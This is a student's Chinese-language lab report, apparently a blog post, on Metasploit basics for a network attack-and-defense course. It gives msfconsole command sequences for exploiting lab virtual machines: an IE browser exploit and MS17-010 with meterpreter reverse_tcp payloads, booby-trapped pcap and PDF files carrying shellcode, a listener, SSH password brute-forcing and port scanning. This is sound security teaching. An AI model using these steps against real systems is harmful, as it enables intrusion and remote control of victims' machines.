20192424 王昭云 2021-2022-2 《网络与系统攻防技术》实验六实验报告
《网络对抗技术》——Exp6 MSF应用基础
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,尽量使用最新的类似漏洞;
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
- 成功应用任何一个辅助模块。
二、实践原理
MSF攻击方法
- 主动攻击:扫描主机漏洞
- 攻击浏览器
- 供给客户端
六个模块
-
渗透攻击模块exploit
- 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
-
辅助模块Auxiliary
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
攻击载荷Payload
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种payload :Single,Stager,Stages。
-
空字段模块Nop :
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
-
编码模块Encoders:
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
-
后渗透攻击模块Post :
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
-
MSF的三种用户操作界面
-
msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
-
armitage
- 启动服务器service postgresql start
- 启动armitage
-
webgui
三、实践过程
1、一个主动攻击实践
-
ms08_067_netapi
-
ms17_010
2、一个针对浏览器的攻击
-
ms14_064
-
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
-
靶机:Windows XP IE浏览器
-
攻击机:Kali
-
获取XP虚拟机的IP地址
-
开始攻击
- sudo msfconsole
- search ms14_064 //查看与此漏洞相关的攻击模块
- use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
- set payload windows/meterpreter/reverse_tcp //设置攻击载荷
- set SRVHOST 192.168.189.125 //设置攻击机IP(kali)
- set AllowPowerShellPrompt true //设置powershell
- set LHOST 192.168.189.152 //设置监听地址(KaliIP)
- set LPORT 135 //设置监听端口
- show targets //查看此漏洞适用的系统版本
- set target 0 //设置winXP靶机
- show options //查看设置的参数信息
- exploit
-
出现报错:Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.189.152:8080)
-
然后发现8080端口是关闭的,听说IIS服务开启后悔自动打开8080端口,然后我去安装了
-
安装时一开始由于我用的是别人的vmx虚拟机,所以找不到CD-ROM,后来使用自己的XP就安装成功了
-
安装成功后我重新扫描发现了这个漏洞
-
感觉这个ms10-024漏洞可以成功,我们来试试吧
-
搜索msf发现没有01-024,但是我发现01开头的都是攻击浏览器的我们换一个exploit试试。
-
使用ms10-002发现可以成功运行
- 其中多了一条配置命令set uripath \admin
-
可能是因为我用的中文版XP,所以会自动识别被渗透了,断开会话
-
-
MS10_061
-
先在靶机上装打印服务
-
在kali上扫描打印机
-
查找NetBIOS
NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能
-
访问SMB,发现了我可爱的打印机
-
使用MSF模块攻击
-
-
MS10-046
-
search ms11_003
-
ms17_010
-
攻击靶机win7,ip为192.168.189.155
-
配置参数
-
攻击成功
-
3、针对客户端的攻击
-
wireshark
-
选择ip为192.168.189.140的靶机winXP
-
下载wireshark
-
开始抓包
-
配置攻击参数
-
sudo msfconsole //进入控制台
-
search wireshark //搜索与wireshark有关的漏洞
-
use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞
-
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
-
show options //查看需要配置的参数选项
-
set LHOST 192.168.189.135 //kali的IP
-
set LPORT 4444 //设置端口号
-
set FILENAME 20192424wzy.pcap //设置生成的pcap文件名
-
exploit //生成.pcap文件
-
-
将生成的pcap文件复制到XP虚拟机中
-
在靶机双击查看pcap文件前先设置如下命令
- use exploit/multi/handler //进入监听模块
- set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
- show options //查看需要配置的参数选项
- set LHOST 192.168.189.135 //kali的IP
- set LPORT 4444 //设置监听的端口号
- exploit //开启监听
-
wireshark打开后闪退,链接成功,但是由于系统补丁链接迅速被断开了
-
-
ADOBE READER
-
在客户机上下载了7.0.08版本的Adobe reader
-
配置参数
- use windows/fileformat/adobe_cooltype_sing //选择攻击模块
- set payload windows/meterpreter/bind_tcp //选择攻击载荷
- set LHOST 192.168.189.135 //设置监听IP
- set LPORT 4444 //设置监听端口
- set FILENAME 20192424wzy.pdf //设置文件名
-
生成带有shellcode的pdf
-
通过虚拟机VMtools增强功能将文件放入靶机
-
开始监听
- use exploit/multi/handler //进入监听模块
- set payload windows/meterpreter/bind_tcp //选择攻击载荷
- show options //查看详细信息
- set RHOST 192.168.189.140 //设置靶机IP地址
- set LPORT 4444 //设置端口号
-
exploit //开始攻击
-
攻击失败,换9.0版本的再试试
-
安装9.0版本
-
继续监听,参数不需要改变
-
9.0发现了文件的问题出现如下弹窗
-
不服就干,切换靶机
-
4、使用一个辅助模块
-
使用auxiliary/scanner/ssh/ssh_login对Adminstraster用户进行密码爆破
-
使用辅助模块use auxiliary/scanner/portscan/syn进行port扫描,扫描成功
四、实践心得体会
本次实验虽然难度不大,但是非常麻烦。感觉学习到的知识不是很多。本次实验中大量时间浪费在了不断的安装不同版本的虚拟机,客户端,不断的尝试不同的漏洞中。这也让我感受到补丁的重要性。
在渗透中,0day漏洞的危害是不言而喻的,这也说明了PWN再渗透中的重要性。读懂操作系统,程序的底层代码,才能让我们更好的找到漏洞。
最后,对于客户端渗透,我建议让下一届的学弟学妹们自己写一个客户端然后自己渗透自己的程序吧,这个可以帮助他们从原理上理解通过漏洞渗透的原理。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理